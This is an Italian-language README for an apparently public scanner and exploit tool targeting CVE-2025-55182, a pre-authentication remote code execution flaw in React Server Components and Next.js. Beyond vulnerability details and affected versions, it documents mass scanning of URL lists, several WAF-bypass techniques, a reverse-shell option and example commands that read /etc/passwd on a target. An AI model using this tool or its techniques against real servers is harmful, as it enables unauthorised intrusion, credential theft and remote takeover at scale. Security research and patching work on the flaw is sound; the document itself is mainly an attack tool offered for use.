Scanner ed Exploit per Next.js/React RSC - RCE

Questo strumento è progettato per ricercatori di sicurezza e penetration tester per rilevare e sfruttare la vulnerabilità CVE-2025-55182 nelle applicazioni Next.js/React RSC. Fornisce multiple modalità di scansione, funzionalità di sfruttamento e tecniche di bypass WAF.

✨ Caratteristiche

• 🎯 Modalità di scansione multiple: Scegli tra le modalità rce, safe e vercel_bypass.
• 💥 Sfruttamento facile: Esegui comandi o ottieni una reverse shell sui target vulnerabili.
• 📂 Payload personalizzati: Fornisci payload personalizzati come stringa o da file.
• 🛡️ Bypass WAF: Tecniche per bypassare i Web Application Firewall.
• ⚡ Veloce e concorrente: Scansiona più target usando asyncio.
• 📝 Output verbose: Output curato e dettagliato per un facile debug.
• 🎨 Output colorato: Per una migliore leggibilità.
• 🤖 Rilevamento automatico del sistema operativo: Rileva automaticamente il sistema operativo del target (Linux/Windows) per uno sfruttamento più intelligente, soprattutto per le reverse shell.

📈 Dettagli della vulnerabilità

Categoria	Informazioni
Pubblicazione	2025-12-03
Punteggio base	10.0 (CRITICO)
Ricercatore	Lachlan Davidson (https://github.com/lachlan2k)
Vettore	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Descrizione	Una vulnerabilità critica di Remote Code Execution (RCE) nei React Server Components. Sono interessate le applicazioni che utilizzano il runtime lato server di React, inclusi framework come Next.js. Il problema è causato dalla deserializzazione non sicura di dati non attendibili del protocollo “Flight”, che consente a un attaccante di ottenere l'esecuzione di codice sul server prima dell'autenticazione. È necessario aggiornare a versioni corrette di React e dei framework.
Punteggio EPSS	27.81% (Probabilità di sfruttamento)
Catalogo CISA KEV	Elencato: Sì, Ransomware: Sconosciuto
HackerOne Hacktivity	Posizione: 1, Segnalazioni: 92
Priorità di patch	A+

🎯 Versioni interessate

Questa vulnerabilità riguarda le seguenti versioni dei React Server Components:

• React Server Components: 19.0.0, 19.1.0, 19.1.1 e 19.2.0
• Next.js versioni ≥14.3.0-canary.77, tutte le 15.x e 16.x
• framework che utilizzano RSC: React Router (modalità RSC), Waku, Redwood SDK e vari plugin RSC

Anche i seguenti pacchetti sono interessati:

• react-server-dom-parcel
• react-server-dom-turbopack
• react-server-dom-webpack

🛠️ Installazione```bash

git clone https://github.com/l0n3m4n/CVE-2025-55182.git cd CVE-2025-55182

Create a virtual environment

python3 -m venv venv-55182 source venv-55182/bin/activate

Install dependencies

pip install -r requirements.txt

## uso```bash
❯ python3 CVE-2025-55182.py -h

__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

usage: CVE-2025-55182.py [-h] (-u URL | -f FILE) [-c COMMAND] [-p PAYLOAD] [-r LHOST:LPORT] [-sm MODE]
                         [-wb] [-wbs KB] [-wbu] [-o FILE] [-t NUM] [-T SEC] [-P URL] [-H HEADER] [-v]

Powerful all-in-one tool (scan and exploit) CVE-2025-55182 in Next.js applications

options:
  -h, --help                       show this help message and exit
  -u, --url URL                    Single URL to scan or exploit.
  -f, --file FILE                  File containing a list of URLs to scan/exploit.

Exploitation Options:
  -c, --command COMMAND            Command to execute on the target(s).
  -p, --payloads PAYLOAD           Custom payload to execute on the target(s). Can be a string or a
                                   file path.
  -r, --reverse-shell LHOST:LPORT  Attempt a reverse shell.

Scanning Options:
  -sm, --scan-mode MODE            Scanning technique. Choices: {rce, safe, vercel_bypass}. (default:
                                   rce)
  -wb, --waf-bypass                Add junk data to the request to bypass WAFs.
  -wbs, --waf-bypass-size KB       Size of junk data in KB (default: 128).
  -wbu, --waf-bypass-utf16le       Use UTF-16LE encoding to bypass WAFs.

General Options:
  -o, --output FILE                File to save vulnerable URLs from scans.
  -t, --threads NUM                Number of concurrent threads (default: 10).
  -T, --timeout SEC                Request timeout in seconds (default: 10).
  -P, --proxy URL                  Proxy to use (e.g., http://127.0.0.1:8080).
  -H, --header HEADER              Add custom headers (e.g., 'Cookie: session=...').
  -v, --verbose                    Enable verbose output for success/failed/non-vulnerable checks.

🔬 Modalità di scansione

• rce (predefinita): modalità di scansione attiva, esegue un comando echo per confermare la vulnerabilità. È il metodo più affidabile, ma potrebbe lasciare log sul sistema target.
• safe: modalità di scansione side-channel, non esegue comandi. Verifica la presenza di uno specifico messaggio di errore (E{"digest") per determinare se il target è vulnerabile. È più sicura della modalità rce, ma potrebbe essere meno affidabile.
• vercel_bypass: utilizza un payload specifico per bypassare il WAF di Vercel e controlla l'output del comando nell'header X-Action-Redirect.

Tecniche di encoding diverse per il bypass WAF

crediti @coffinxp7

🚀 Esempi

Scansione```bash

Scan a single URL with the default rce check

python3 CVE-2025-55182.py -u http://target.com

Scan a list of URLs with the safe mode and 20 threads

python3 CVE-2025-55182.py -f urls.txt -sm safe -t 20

Scan with Vercel WAF bypass mode and save vulnerable URLs to a file

python3 CVE-2025-55182.py -f urls.txt -sm vercel_bypass -o vulnerable.txt

### Sfruttamento```bash
# Execute a command on a single target
python3 CVE-2025-55182.py -u http://target.com -c "cat /etc/passwd"

# Use WAF bypass techniques
python3 CVE-2025-55182.py -u http://target.com -c "whoami" -wb